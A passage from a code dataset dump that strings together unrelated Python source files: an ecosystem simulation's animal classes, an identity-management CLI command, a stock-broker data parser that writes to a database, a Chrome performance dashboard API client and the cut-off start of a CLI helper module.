ValueError('beta can not be a negative value.')\n if eta >= 0:\n cls.eta = eta\n else:\n raise ValueError('eta can not be a negative value.')\n if a_half >= 0:\n cls.a_half = a_half\n else:\n raise ValueError('a_half can not be a negative value.')\n if phi_age >= 0:\n cls.phi_age = phi_age\n else:\n raise ValueError('phi_age can not be a negative value.')\n if w_half >= 0:\n cls.w_half = w_half\n else:\n raise ValueError('w_half can not be a negative value.')\n if phi_weight >= 0:\n cls.phi_weight = phi_weight\n else:\n raise ValueError('phi_weight can not be a negative value.')\n if 0 <= mu <= 1:\n cls.mu = mu\n else:\n raise ValueError('mu can not be a negative value.')\n if lambda_ >= 0:\n cls.lambda_ = lambda_\n else:\n raise ValueError('lambda_ can not be a negative value.')\n if gamma >= 0:\n cls.gamma = gamma\n else:\n raise ValueError('gamma can not be a negative value.')\n if zeta >= 0:\n cls.zeta = zeta\n else:\n raise ValueError('zeta can not be a negative value.')\n if xi >= 0:\n cls.xi = xi\n else:\n raise ValueError('xi can not be a negative value.')\n if omega >= 0:\n cls.omega = omega\n else:\n raise ValueError('omega can not be a negative value.')\n if F >= 0:\n cls.F = F\n else:\n raise ValueError('f can not be a negative value.')\n\n @classmethod\n def draw_birth_weight(cls):\n \"\"\"\n Birth weight is drawn from a Gaussian distribution based on mean and\n standard deviation.\n\n :return: Birth weight\n :rtype: float\n \"\"\"\n cls.birth_weight = 0\n while cls.birth_weight <= 0:\n cls.birth_weight = random.gauss(cls.w_birth, cls.sigma_birth)\n return cls.birth_weight\n\n def __init__(self, age=None, weight=None):\n \"\"\"\n Constructor that initiates class BaseAnimal.\n\n :param age: Initial age\n :type age: float\n :param weight: Initial weight\n :type weight: float\n \"\"\"\n if age is None:\n age = 0\n if age < 0:\n raise ValueError(\"Age can not have negative value.\")\n self.age = age\n\n if weight is None:\n weight = 10\n if weight < 0:\n raise ValueError(\"Weight can not have negative value\")\n self.weight = weight\n\n self._fitness = None\n self.fitness_has_been_calculated = False\n self._prob_migration = None\n self._prob_death = None\n self.has_migrated = False\n\n def aging(self):\n \"\"\"\n At birth, each animal has age 0. Age increments by one each year.\n \"\"\"\n self.age += 1\n self.fitness_has_been_calculated = False\n\n def weight_gain(self, food):\n \"\"\"\n When an animal eats an amount 'food' of fodder, its\n weight increases.\n\n :param food: Amount of food eaten.\n :type food: int\n \"\"\"\n self.weight += (self.beta * food)\n self.fitness_has_been_calculated = False\n\n def weight_loss(self):\n \"\"\"\n Every year, the weight of the animal decreases.\n \"\"\"\n self.weight -= (self.eta * self.weight)\n self.fitness_has_been_calculated = False\n\n def weight_loss_birth(self, weight_offspring):\n \"\"\"\n When an animal gives birth to an offspring, it loses weight.\n\n :param weight_offspring: Weight of the offspring\n :type weight_offspring: float\n \"\"\"\n self.weight -= (self.xi * weight_offspring)\n self.fitness_has_been_calculated = False\n\n def prob_procreation(self, n):\n r\"\"\"\n Animals can mate if there are at least two animals of the same species\n in a cell. Probability to give birth is given by the variable p which\n is calculated with the following formula.\n\n .. math::\n \\begin{equation}\n min(1, \\gamma \\times \\Phi \\times (N - 1))\n \\end{equation}\n\n .. math::\n \\begin{equation}\n \\mbox { where } \\gamma \\mbox { is a constant, } \\Phi \\mbox\n { is fitness and } N \\mbox { is the number of animals i a cell.}\n \\end{equation}\n\n :param n: Number of animals of the same species in a cell\n :type n: int\n :return: Either 0 or 1\n :rtype: int\n \"\"\"\n if self.weight < self.zeta * (self.w_birth + self.sigma_birth):\n return 0\n else:\n p = min(1, self.gamma * self.fitness * (n - 1))\n choice = custom_binomial(p)\n return choice\n\n @property\n def fitness(self):\n \"\"\"\n The overall condition of an animal is described by its fitness,\n which is calculated based on age and weight with a call to the\n `fitness_calculator` function.\n\n :setter: Sets the fitness value\n :type: float\n \"\"\"\n if self.fitness_has_been_calculated:\n return self._fitness\n\n if self.weight > 0:\n self.fitness = fitness_calculator(\n self.phi_age, self.age, self.a_half,\n self.phi_weight, self.weight, self.w_half\n )\n self.fitness_has_been_calculated = True\n else:\n self._fitness = 0\n self.fitness_has_been_calculated = True\n\n return self._fitness\n\n @fitness.setter\n def fitness(self, value):\n \"\"\"\n Sets the attribute self._fitness to a new value.\n \"\"\"\n self._fitness = value\n\n @property\n def prob_migration(self):\n \"\"\"\n Calculates the probability for an animal to migrate, based on fitness\n and availability of fodder in neighboring cells. Probability for\n moving is given by the variable p.\n\n :setter: Sets the probability value.\n :type: int\n \"\"\"\n p = self.mu * self.fitness\n self._prob_migration = custom_binomial(p)\n return self._prob_migration\n\n @prob_migration.setter\n def prob_migration(self, value):\n \"\"\"\n Sets the probability for an animal to migrate to a new value.\n \"\"\"\n self._prob_migration = value\n\n @property\n def prob_death(self):\n \"\"\"\n An animal dies with probability p based on its fitness.\n\n :setter: Sets the probability value.\n :type: int\n \"\"\"\n if self.fitness == 0:\n self._prob_death = 1\n else:\n p = self.omega * (1 - self.fitness)\n self._prob_death = custom_binomial(p)\n\n return self._prob_death\n\n @prob_death.setter\n def prob_death(self, value):\n \"\"\"\n Sets the probability for an animal to die.\n \"\"\"\n self._prob_death = value\n\n\nclass Herbivore(BaseAnimal):\n \"\"\"Class for the herbivore species in Biosim.\n Subclass of class BaseAnimal.\"\"\"\n\n @classmethod\n def set_parameters(\n cls,\n w_birth=8.0,\n sigma_birth=1.5,\n beta=0.9,\n eta=0.05,\n a_half=40.0,\n phi_age=0.2,\n w_half=10.0,\n phi_weight=0.1,\n mu=0.25,\n lambda_=1.0,\n gamma=0.2,\n zeta=3.5,\n xi=1.2,\n omega=0.4,\n F=10.0,\n *args,\n **kwargs\n ):\n \"\"\"\n Set default parameters for class instance of Herbivore.\n\n :param w_birth: Constant\n :type w_birth: float\n :param sigma_birth: Constant\n :type sigma_birth: float\n :param beta: Constant used to calculate weight gain\n :type beta: float\n :param eta: Constant used to calculate weight loss\n :type eta: float\n :param a_half: Constant\n :type a_half: float\n :param phi_age: Constant\n :type phi_age: float\n :param w_half: Constant\n :type w_half: float\n :param phi_weight: Constant\n :type phi_weight: float\n :param mu: Constant used to calculate probability to move\n :type mu: float\n :param lambda_: Constant\n :type lambda_: float\n :param gamma: Constant used to calculate the probability for an\n animal to give birth.\n :type gamma: float\n :param zeta: Constant\n :type zeta: float\n :param xi: Constant\n :type xi: float\n :param omega: Constant used to calculate the probability of an\n animal dying.\n :type omega: float\n :param F: Appetite of the species\n :type F: float\n :param args: Extra arguments\n :type args: *tuple\n :param kwargs: Extra keyword arguments\n :type kwargs: **dict\n \"\"\"\n super(Herbivore, cls).set_parameters(\n w_birth,\n sigma_birth,\n beta,\n eta,\n a_half,\n phi_age,\n w_half,\n phi_weight,\n mu,\n lambda_,\n gamma,\n zeta,\n xi,\n omega,\n F)\n\n def __init__(self, age=None, weight=None):\n \"\"\"\n Constructor that initiates class instances of Herbivore.\n\n :param age: Initial age for Herbivore\n :type age: float\n :param weight: Initial weight for Carnivore\n :type weight: float\n \"\"\"\n super().__init__(age, weight)\n\n\nclass Carnivore(BaseAnimal):\n \"\"\"Class for the carnivore species in Biosim.\n Subclass of class BaseAnimal.\"\"\"\n @classmethod\n def set_parameters(\n cls,\n w_birth=6.0,\n sigma_birth=1.0,\n beta=0.75,\n eta=0.125,\n a_half=60.0,\n phi_age=0.4,\n w_half=4.0,\n phi_weight=0.4,\n mu=0.4,\n lambda_=1.0,\n gamma=0.8,\n zeta=3.5,\n xi=1.1,\n omega=0.9,\n F=50.0,\n DeltaPhiMax=None,\n *args,\n **kwargs\n ):\n \"\"\"\n Set default parameters for class instance Carnivore.\n\n :param w_birth: Constant\n :type w_birth: float\n :param sigma_birth: Constant\n :type sigma_birth: float\n :param beta: Constant used to calculate weight gain\n :type beta: float\n :param eta: Constant used to calculate weight loss\n :type eta: float\n :param a_half: Constant\n :type a_half: float\n :param phi_age: Constant\n :type phi_age: float\n :param w_half: Constant\n :type w_half: float\n :param phi_weight: Constant\n :type phi_weight: float\n :param mu: Constant used to calculate probability to move\n :type mu: float\n :param lambda_: Constant\n :type lambda_: float\n :param gamma: Constant used to calculate the probability to give birth\n to an offspring in a year\n :type gamma: float\n :param zeta: Constant\n :type zeta: float\n :param xi: Constant\n :type xi: float\n :param omega: Constant used to calculate the probability of an animal\n dying\n :type omega: float\n :param F: Appetite of the species\n :type F: float\n :param DeltaPhiMax: Constant\n :type DeltaPhiMax: float\n :param args: Extra arguments\n :type args: *tuple\n :param kwargs: Extra keyword arguments\n :type kwargs: **dict\n \"\"\"\n super(Carnivore, cls).set_parameters(\n w_birth,\n sigma_birth,\n beta,\n eta,\n a_half,\n phi_age,\n w_half,\n phi_weight,\n mu,\n lambda_,\n gamma,\n zeta,\n xi,\n omega,\n F\n )\n if DeltaPhiMax is None:\n DeltaPhiMax = 10.0\n\n if DeltaPhiMax <= 0:\n raise ValueError('delta_phi_max must be strictly positive.')\n cls.DeltaPhiMax = DeltaPhiMax\n\n def __init__(self, age=None, weight=None):\n \"\"\"\n Constructor that initiate class instance Carnivore.\n\n :param age: Initial age for Carnivore species\n :type age: float\n :param weight: Initial weight for Carnivore species\n :type weight: float\n \"\"\"\n super().__init__(age, weight)\n self._prob_carnivore_kill = None\n\n def prob_carnivore_kill(self, fitness_prey):\n r\"\"\"\n Calculates the probability for a Carnivore to kill a Herbivore,\n and decides accordingly. The formula for calculating this probability\n is given below.\n\n .. math::\n \\begin{equation}\n p =\n \\begin{cases}\n 0 & \\mbox { if } \\Phi_{carn} \\leq \\Phi_{herb} \\\\\n \\frac{\\Phi_{carn} - \\Phi_{herb}}{\\Delta \\Phi_{max}} &\n \\mbox { if } 0 < \\Phi_{carn} - \\Phi_{herb < \\Delta \\Phi_{max}} \\\\\n 0 & \\mbox { otherwise }\n \\end{cases} \\quad\n \\end{equation}\n\n .. math::\n \\begin{equation}\n \\mbox { where } \\Phi_{carn} \\mbox\n { is the fitness of the carnivore, } \\Phi_{herb} \\mbox\n { is the fitness of the herbivore and }\\\\\n \\Delta\\Phi_{max} \\mbox { is a constant.}\n \\end{equation}\n\n :param fitness_prey: The fitness of the prey (Herbivore)\n :type fitness_prey: float\n :return: Either 0 or 1\n :rtype: int\n \"\"\"\n if self.fitness <= fitness_prey:\n return 0\n if 0 < self.fitness - fitness_prey < self.DeltaPhiMax:\n p = (self.fitness - fitness_prey) / self.DeltaPhiMax\n choice = custom_binomial(p)\n return choice\n return 1\n\n\n@jit\ndef custom_binomial(p):\n \"\"\"Function for drawing random numbers similar to\n numpy.random.binomial(n=1, p=p), but with built_in method\n `random.uniform` for faster code execution. Uses the numba.jit decorator.\n\n :param p: Probability\n :type p: float\n :return: Either 0 or 1\n :rtype: int\n \"\"\"\n x = random.uniform(0, 1)\n if x < p:\n return 1\n else:\n return 0\n\n\n@jit\ndef fitness_calculator(\n phi_age, age, a_half, phi_weight, weight, w_half\n):\n r\"\"\"\n Uses the numba.jit decorator.\n Calculates fitness based on age and weight. The fitness is calculated by\n using the following formula.\n\n .. math::\n \\begin{equation}\n \\Phi =\n \\begin{cases}\n 0 & w \\leq 0 \\\\\n q^+(a, a_{\\frac{1}{2}, \\phi_{age}}) \\times q^-(w, w_{\\frac{1}{2},\n \\phi_{weight}}) & else\n \\end{cases}\n \\end{equation}\n\n where\n\n .. math::\n \\begin{equation}\n q^\\pm(x, x_{\\frac{1}{2}}, \\phi) =\n \\frac{1}{1 + e^{\\pm \\phi(x - x_{\\frac{1}{2}})}}\n \\end{equation}\n\n Note that :math:`0 \\leq \\Phi \\leq 1`.\n\n\n :param phi_age: Constant\n :type phi_age: float\n :param age: The age of the animal\n :type age: int\n :param a_half: Constant\n :type a_half: float\n :param phi_weight: Constant\n :type phi_weight: float\n :param weight: The weight of the animal\n :type weight: float\n :param w_half: Constant\n :type w_half: float\n :return: Calculated fitness\n :rtype: float\n \"\"\"\n age_sigma = 1 / (1 + math.exp(phi_age * (age - a_half)))\n weight_sigma = 1 / (1 + math.exp(- phi_weight * (weight - w_half)))\n fitness = age_sigma * weight_sigma\n return fitness\n","sub_path":"BioSim_G21_Julie_Marisha/src/biosim/animal.py","file_name":"animal.py","file_ext":"py","file_size_in_byte":19050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"67949694","text":"# -*- coding: utf-8 -*-\n#\n# Copyright (C) 2014-2015 Bitergia\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n#\n# Authors:\n# Santiago Dueñas \n#\n\nfrom __future__ import absolute_import\nfrom __future__ import unicode_literals\n\nimport argparse\n\nfrom .. import api\nfrom ..command import Command, CMD_SUCCESS, HELP_LIST\nfrom ..exceptions import NotFoundError\n\n\nclass Show(Command):\n \"\"\"Show information about unique identities.\n\n This command prints information related to the unique identities such as\n identities or enrollments.\n\n When is given, it will only show information about the unique\n identity related to .\n\n When is set, it will only show information about those unique\n identities that have any attribute (name, email, username, source)\n which match with the given term. This parameter does not have any\n effect when is set.\n \"\"\"\n def __init__(self, **kwargs):\n super(Show, self).__init__(**kwargs)\n\n self.parser = argparse.ArgumentParser(description=self.description,\n usage=self.usage)\n\n # Optional arguments\n self.parser.add_argument('--term', dest='term', default=None,\n help=\"search this term on identities data; ignored when is given\")\n # Positional arguments\n self.parser.add_argument('uuid', nargs='?', default=None,\n help=\"unique identifier of the identity to show\")\n\n # Exit early if help is requested\n if 'cmd_args' in kwargs and [i for i in kwargs['cmd_args'] if i in HELP_LIST]:\n return\n\n self._set_database(**kwargs)\n\n @property\n def description(self):\n return \"\"\"Show information about unique identities.\"\"\"\n\n @property\n def usage(self):\n return \"%(prog)s show [--term ][]\"\n\n def run(self, *args):\n \"\"\"Show information about unique identities.\"\"\"\n\n params = self.parser.parse_args(args)\n\n code = self.show(params.uuid, params.term)\n\n return code\n\n def show(self, uuid=None, term=None):\n \"\"\"Show the information related to unique identities.\n\n This method prints information related to unique identities such as\n identities or enrollments.\n\n When is given, it will only show information about the unique\n identity related to .\n\n When is set, it will only show information about those unique\n identities that have any attribute (name, email, username, source)\n which match with the given term. This parameter does not have any\n effect when is set.\n\n :param uuid: unique identifier\n :param term: term to match with unique identities data\n \"\"\"\n try:\n if uuid:\n uidentities = api.unique_identities(self.db, uuid)\n elif term:\n uidentities = api.search_unique_identities(self.db, term)\n else:\n uidentities = api.unique_identities(self.db)\n\n for uid in uidentities:\n # Add enrollments to a new property 'roles'\n enrollments = api.enrollments(self.db, uid.uuid)\n uid.roles = enrollments\n\n self.display('show.tmpl', uidentities=uidentities)\n except NotFoundError as e:\n self.error(str(e))\n return e.code\n\n return CMD_SUCCESS\n","sub_path":"glusterDashboard-master/gitlab/lib/python3.5/site-packages/sortinghat/cmd/show.py","file_name":"show.py","file_ext":"py","file_size_in_byte":4139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"263360520","text":"from Filter import AbstractStockInfo\nimport math\nimport DbControler\nimport logging\nimport time\nclass DongBeiStockInfo(AbstractStockInfo):\n def __init__(self,stock_info_block,property_block,entrust_block,finish_book_block,sec_hold_user,user_id):\n self.user_id = user_id\n # 资金信息块\n self.sec_hold_user = sec_hold_user\n self.property_block = property_block\n # 交易委托块\n self.entrust_block = entrust_block\n # 交易完成委托块\n self.finish_book_block = finish_book_block\n\n\n\n self.cur_index_list = ['sec_code',#'证券代码'\n 'sec_name',#'证券名称'\n 'sec_amount',#'证券数量'\n 'sec_trade_amount',#'可卖数量'\n 'sec_cur_amount',#'当前数量'\n 'sec_cur_rcc',#'参考成本价'\n 'sec_cur_price',#'当前价'\n 'sec_cur_lmv',# '最新市值'\n 'sec_rpl',# '参考盈亏'\n 'sec_rpl_ratio',# '参考盈亏比例(%)'\n 'sec_share_code',#'股东代码'\n 'sec_cur_day_buy',#'当日买入数量'\n 'sec_cur_day_sell',# '当日卖出数量'\n 'sec_account_type',#'帐号类别'\n 'sec_exchange_code',#'交易所代码'\n 'sec_delisting_date',#'退市日期'\n 'sec_reference_information'#'保留信息'\n ]\n # 当前相应账户的持仓类别\n self.cur_property_list = [\n # '币种'\n 'pro_type',\n # '资金余额'\n 'pro_amount',\n # '可用资金'\n 'pro_use',\n # '冻结资金'\n 'pro_freezed',\n # '可取资金'\n 'pro_avail',\n # '总资产'\n 'pro_total',\n # '最新市值'\n 'pro_now',\n #'中签金额',\n 'pro_on_new',\n # '(参数)操作数据'\n 'information',\n #'句柄',\n 'handler',\n # '保留信息'\n 'reserve_information',\n ]\n # 当前委托信息\n '''\n , '帐��类别', '交易所代码', '保留信息'\n '''\n self.cur_entrust_list = [\n # '委托时间'\n 'en_time',\n # '证券代码'\n 'en_code',\n # '证券名称'\n 'en_name',\n # '买卖标志'\n 'en_side_1',\n # '买卖标志'\n 'en_side_2',\n # '委托类别'\n 'en_type',\n # '状态说明'\n 'en_status',\n # '委托价格'\n 'en_price',\n # '委托数量'\n 'en_amount',\n # '委托编号'\n 'en_number',\n # '成交价格'\n 'en_deal_price',\n # '成交数量'\n 'en_deal_amount',\n # '委托方式'\n 'en_way',\n # '报价方式\n 'en_order_way',\n # '股东代码'\n 'en_user_code',\n # '帐号类别'\n 'en_count_type',\n # '交易所代码'\n 'en_tr',\n # '保留信息'\n 'en_ref_data',\n ]\n # 当前用户成交股票信息\n self.cur_trade_list = [\n # '成交时间'\n 'tr_time',\n # '证券代码'\n 'tr_code',\n # '证券名称'\n 'tr_name',\n # '买卖标志'\n 'tr_side',\n # '买卖标志'\n 'tr_flag',\n # '成交价格'\n 'tr_price',\n # '成交数量'\n 'tr_amount',\n # '成交金额'\n 'tr_cost',\n # '成交编号'\n 'tr_suc_code',\n # '委托编号'\n 'tr_en_code',\n # '股东代码'\n 'tr_mrkt_code',\n # '帐号类别'\n 'tr_type',\n # '保留信息',\n 'tr_ref_information',\n ]\n #当前股票名称\n self.stock_list = []\n #当前所有股票块\n self.all_stock_info = {}\n # 当前所有持仓信息\n self.property_info = {}\n # 当前委托列表\n self.entrust_list = []\n # 当前委托块\n self.all_entrust_info = {}\n # 当日成交列表\n self.deal_list = []\n # 当日成交列表明细\n self.all_deal_info = {}\n \n self.stock_info_block = stock_info_block\n\n def _format_stock(self,**kwargs):\n start = 2 \n step = int(self.stock_info_block[0])\n count = math.floor(len(self.stock_info_block) / step )\n tmp_stock = {}\n for col in range(count):\n if col == 0:\n continue\n else:\n start += step\n for row in range(step):\n if self.stock_info_block[start+row] == '':\n tmp_stock[self.cur_index_list[row]] = 0\n else:\n tmp_stock[self.cur_index_list[row]] = self.stock_info_block[start+row]\n self.stock_list.append(tmp_stock['sec_code'])\n self.all_stock_info[tmp_stock['sec_code']] = tmp_stock\n #查询原有持仓\n old_position = DbControler.query_user_position(self.user_id)\n if old_position:\n new_position = list(set(self.stock_list).difference(set(old_position)))\n same_position = list(set(self.stock_list).intersection(set(old_position)))\n #更新旧的持仓\n delete_position = list(set(old_position).difference(self.stock_list))\n if delete_position:\n DbControler.delete_old_position(self.user_id,delete_position)\n if new_position:\n #更新新的持仓(插入新的词条)\n new_stock_info_list = []\n for code in new_position:\n out_stock = {}\n out_stock['po_StockCode'] = self.all_stock_info[code]['sec_code']\n out_stock['po_StockName'] = self.all_stock_info[code]['sec_name'].encode('utf-8').decode('utf-8')\n out_stock['po_StockMuch'] = self.all_stock_info[code]['sec_amount']\n out_stock['po_Inventory'] = self.all_stock_info[code]['sec_amount']\n out_stock['po_SellMuch'] = self.all_stock_info[code]['sec_trade_amount']\n out_stock['po_CostMoney'] = self.all_stock_info[code]['sec_cur_rcc']\n out_stock['po_NowMoney'] = self.all_stock_info[code]['sec_cur_price']\n out_stock['po_Market'] = self.all_stock_info[code]['sec_cur_lmv']\n out_stock['po_PL'] = self.all_stock_info[code]['sec_rpl']\n out_stock['po_PLRatio'] = self.all_stock_info[code]['sec_rpl_ratio']\n new_stock_info_list.append(out_stock)\n \n #执行数据库操作\n #加入新的持仓\n DbControler.insert_position_table(new_stock_info_list, self.user_id)\n if same_position:\n modified_stock_info_list = []\n for code in same_position:\n out_stock = {}\n out_stock['po_StockCode'] = self.all_stock_info[code]['sec_code']\n out_stock['po_StockName'] = self.all_stock_info[code]['sec_name'].encode('utf-8').decode('utf-8')\n out_stock['po_StockMuch'] = self.all_stock_info[code]['sec_amount']\n out_stock['po_Inventory'] = self.all_stock_info[code]['sec_amount']\n out_stock['po_SellMuch'] = self.all_stock_info[code]['sec_trade_amount']\n out_stock['po_CostMoney'] = self.all_stock_info[code]['sec_cur_rcc']\n out_stock['po_NowMoney'] = self.all_stock_info[code]['sec_cur_price']\n out_stock['po_Market'] = self.all_stock_info[code]['sec_cur_lmv']\n out_stock['po_PL'] = self.all_stock_info[code]['sec_rpl']\n out_stock['po_PLRatio'] = self.all_stock_info[code]['sec_rpl_ratio']\n modified_stock_info_list.append(out_stock) \n #修改原有持仓\n DbControler.update_position_table(modified_stock_info_list, self.user_id)\n #删除相应的旧持仓\n else:\n stock_info_list = [] \n for code in self.stock_list:\n out_stock = {}\n out_stock['po_StockCode'] = self.all_stock_info[code]['sec_code']\n out_stock['po_StockName'] = self.all_stock_info[code]['sec_name'].encode('utf-8').decode('utf-8')\n out_stock['po_StockMuch'] = self.all_stock_info[code]['sec_amount']\n out_stock['po_Inventory'] = self.all_stock_info[code]['sec_amount']\n out_stock['po_SellMuch'] = self.all_stock_info[code]['sec_trade_amount']\n out_stock['po_CostMoney'] = self.all_stock_info[code]['sec_cur_rcc']\n out_stock['po_NowMoney'] = self.all_stock_info[code]['sec_cur_price']\n out_stock['po_Market'] = self.all_stock_info[code]['sec_cur_lmv']\n out_stock['po_PL'] = self.all_stock_info[code]['sec_rpl']\n out_stock['po_PLRatio'] = self.all_stock_info[code]['sec_rpl_ratio']\n stock_info_list.append(out_stock)\n DbControler.insert_position_table(stock_info_list,self.user_id) \n \n print(\"updated position table\")\n logging.debug(\"updated position table\")\n\n # 格式化相应资金持仓情况\n def _format_property(self, **kwargs):\n start = 2\n step = int(self.property_block[0])\n count = int(self.property_block[1]) + 1\n tmp_property = {}\n if count == 1:\n logging.debug(\"no property\")\n else:\n for col in range(count):\n if col == 0:\n continue\n else:\n start += step\n for row in range(step):\n if self.property_block[start + row] == '':\n tmp_property[self.cur_property_list[row]] = 0\n else:\n tmp_property[self.cur_property_list[row]] = self.property_block[start + row]\n self.property_info = tmp_property\n property_info_list = []\n out_property = {}\n\n out_property['fu_PL'] = self.property_info['pro_type']\n\n out_property['fu_GetMoney'] = self.property_info['pro_avail']\n\n out_property['fu_Market'] = self.property_info['pro_now']\n\n out_property['fu_AvailableMoney'] = self.property_info['pro_use']\n out_property['fu_Total'] = self.property_info['pro_total']\n\n\n property_info_list.append(out_property)\n DbControler.insert_fund_table(property_info_list, self.user_id)\n logging.debug(\"inserted accountfunds table\")\n print(\"inserted accountfunds table\")\n\n # 格式化相应的交易明细\n def _format_entrust(self, **kwargs):\n start = 2\n step = int(self.entrust_block[0])\n count = int(self.entrust_block[1]) + 1\n print(self.entrust_block)\n if count == 1:\n print(\"no entrust\")\n logging.debug(\"no entrust\")\n else:\n for col in range(count):\n tmp_entrust = {}\n if col == 0:\n continue\n else:\n start += step\n for row in range(step):\n # print(self.cur_entrust_list[row])\n if self.entrust_block[start + row] == '':\n tmp_entrust[self.cur_entrust_list[row]] = 'null'\n else:\n tmp_entrust[self.cur_entrust_list[row]] = self.entrust_block[start + row]\n self.entrust_list.append(tmp_entrust['en_number'])\n self.all_entrust_info[tmp_entrust['en_number']] = tmp_entrust\n entrust_info_list = []\n for entrust in self.entrust_list:\n out_entrust = {}\n out_entrust['et_Date'] = time.strftime(\"%Y-%m-%d\")\n out_entrust['et_OperateDate'] = time.strftime(\"%Y-%m-%d\")\n raw_time = self.all_entrust_info[entrust]['en_time']\n out_entrust['et_OperateTime'] = raw_time[:2] + \":\" + raw_time[2:4] + \":\" + raw_time[4:]\n out_entrust['et_StockCode'] = self.all_entrust_info[entrust]['en_code']\n out_entrust['et_StockName'] = self.all_entrust_info[entrust]['en_name']\n out_entrust['et_SignId'] = self.all_entrust_info[entrust]['en_side_1']\n out_entrust['et_Money'] = self.all_entrust_info[entrust]['en_price']\n out_entrust['et_Much'] = self.all_entrust_info[entrust]['en_amount']\n out_entrust['et_Number'] = self.all_entrust_info[entrust]['en_number']\n out_entrust['et_DealMuch'] = '1'\n out_entrust['et_DealMoney'] = '1'\n out_entrust['et_DanMuch'] = '1'\n out_entrust['et_Status'] = '1'\n entrust_info_list.append(out_entrust)\n DbControler.insert_entrust_table(entrust_info_list, self.user_id)\n print(\"inserted entrust table\")\n logging.debug(\"inserted entrust table\")\n #格式化相应成交信息\n def _format_deal_record(self,**kwargs):\n start = 2\n step = int(self.finish_book_block[0])\n count = int(self.finish_book_block[1]) + 1\n if count == 1:\n print(\"no trade\")\n logging.debug(\"no trade\")\n else:\n for col in range(count):\n tmp_finish_book = {}\n if col == 0:\n continue\n else:\n start += step\n for row in range(step):\n if self.finish_book_block[start+row] == '':\n tmp_finish_book[self.cur_trade_list[row]] = 0\n else:\n tmp_finish_book[self.cur_trade_list[row]] = self.finish_book_block[start+row]\n self.deal_list.append(tmp_finish_book['tr_code'])\n self.all_deal_info[tmp_finish_book['tr_code']] = tmp_finish_book\n deal_info_list = []\n for record in self.deal_list:\n out_deal = {}\n out_deal['dr_Date'] = time.strftime(\"%Y-%m-%d\")\n raw_time = self.all_deal_info[record]['tr_time']\n out_deal['dr_Time'] = raw_time[:2] + \":\" + raw_time[2:4] + \":\" + raw_time[4:]\n out_deal['dr_StockCode'] = self.all_deal_info[record]['tr_code']\n out_deal['dr_StockName'] = self.all_deal_info[record]['tr_name']\n out_deal['dr_SignId'] = self.all_deal_info[record]['tr_side']\n out_deal['dr_EntrustMoney'] = self.all_deal_info[record]['tr_price']\n out_deal['dr_EntrustMuch'] = self.all_deal_info[record]['tr_amount']\n out_deal['dr_EntrustNumber'] = self.all_deal_info[record]['tr_en_code']\n out_deal['dr_DealMoney'] = self.all_deal_info[record]['tr_cost']\n out_deal['dr_DealMuch'] = self.all_deal_info[record]['tr_amount']\n out_deal['dr_SumMoney'] = self.all_deal_info[record]['tr_cost']\n deal_info_list.append(out_deal)\n DbControler.insert_dealrecord_table(deal_info_list,self.user_id)\n logging.debug(\"inserted recordlist table\")\n print(\"inserted recordlist table\")\n","sub_path":"src/BrokerType/DongBeiStockInfo.py","file_name":"DongBeiStockInfo.py","file_ext":"py","file_size_in_byte":17961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"92182646","text":"#!/usr/bin/env python\n# Copyright 2018 The Chromium Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\n\"\"\"Make requests to the Chrome Perf Dashboard API.\n\nFor more details on the API see:\nhttps://chromium.googlesource.com/catapult.git/+/HEAD/dashboard/dashboard/api/README.md\n\"\"\"\n\nimport json\n\nfrom services import request\n\nSERVICE_URL = 'https://chromeperf.appspot.com/api'\n\n\ndef Request(endpoint, **kwargs):\n \"\"\"Send a request to some dashboard service endpoint.\"\"\"\n kwargs.setdefault('use_auth', True)\n kwargs.setdefault('method', 'POST')\n return json.loads(request.Request(SERVICE_URL + endpoint, **kwargs))\n\n\ndef Describe(test_suite):\n \"\"\"Obtain information about a given test_suite.\n\n Args:\n test_suite: A string with the name of the test suite.\n\n Returns:\n A dict with information about: bots, caseTags, cases, and measurements.\n \"\"\"\n return Request('/describe', params={'test_suite': test_suite})\n\n\ndef Timeseries2(**kwargs):\n \"\"\"Get timeseries data for a particular test path.\"\"\"\n for col in ('test_suite', 'measurement', 'bot'):\n if col not in kwargs:\n raise TypeError('Missing required argument: %s' % col)\n try:\n return Request('/timeseries2', params=kwargs)\n except request.ClientError as exc:\n if exc.response.status == 404:\n raise KeyError('Timeseries not found')\n raise # Re-raise the original exception.\n\n\ndef ListTestPaths(test_suite, sheriff):\n \"\"\"Lists test paths for the given test_suite.\n\n Args:\n test_suite: String with test suite to get paths for.\n sheriff: Include only test paths monitored by the given sheriff rotation,\n use 'all' to return all test paths regardless of rotation.\n\n Returns:\n A list of test paths. Ex. ['TestPath1', 'TestPath2']\n \"\"\"\n return Request(\n '/list_timeseries/%s' % test_suite, params={'sheriff': sheriff})\n","sub_path":"experimental/soundwave/services/dashboard_service.py","file_name":"dashboard_service.py","file_ext":"py","file_size_in_byte":1910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"637202598","text":"import json\nimport logging\nimport os\nimport typer\nfrom decimal import Decimal\nfrom dotenv import load_dotenv\nfrom rich import box, inspect, print\nfrom rich.logging import RichHandler\nfrom rich.console import Console\nfrom rich.table import Table\n\n\ndef kv_table(rows: list, title=\"None\"):\n table = Table(\n box=box.DOUBLE,\n show_lines=True,\n show_header=False,\n title=title,\n title_justify=\"left\",\n title_style=\"bold\",\n )\n\n table.add_column(\"Key\", justify=\"left\")\n table.add_column(\"Value\", justify=\"left\")\n\n for row in rows:\n table.add_row(row[0], row[1])\n\n print_table(table)\n\n\ndef enforce_mainnet(network):\n if network != \"mainnet\":\n print(\n f\"Sorry, this command is only available on mainnet. Your network is currently set to {network}.\"\n )\n raise typer.Exit()\n\n\ndef die(message: str = \"Exiting now...\"):\n print(message)\n raise 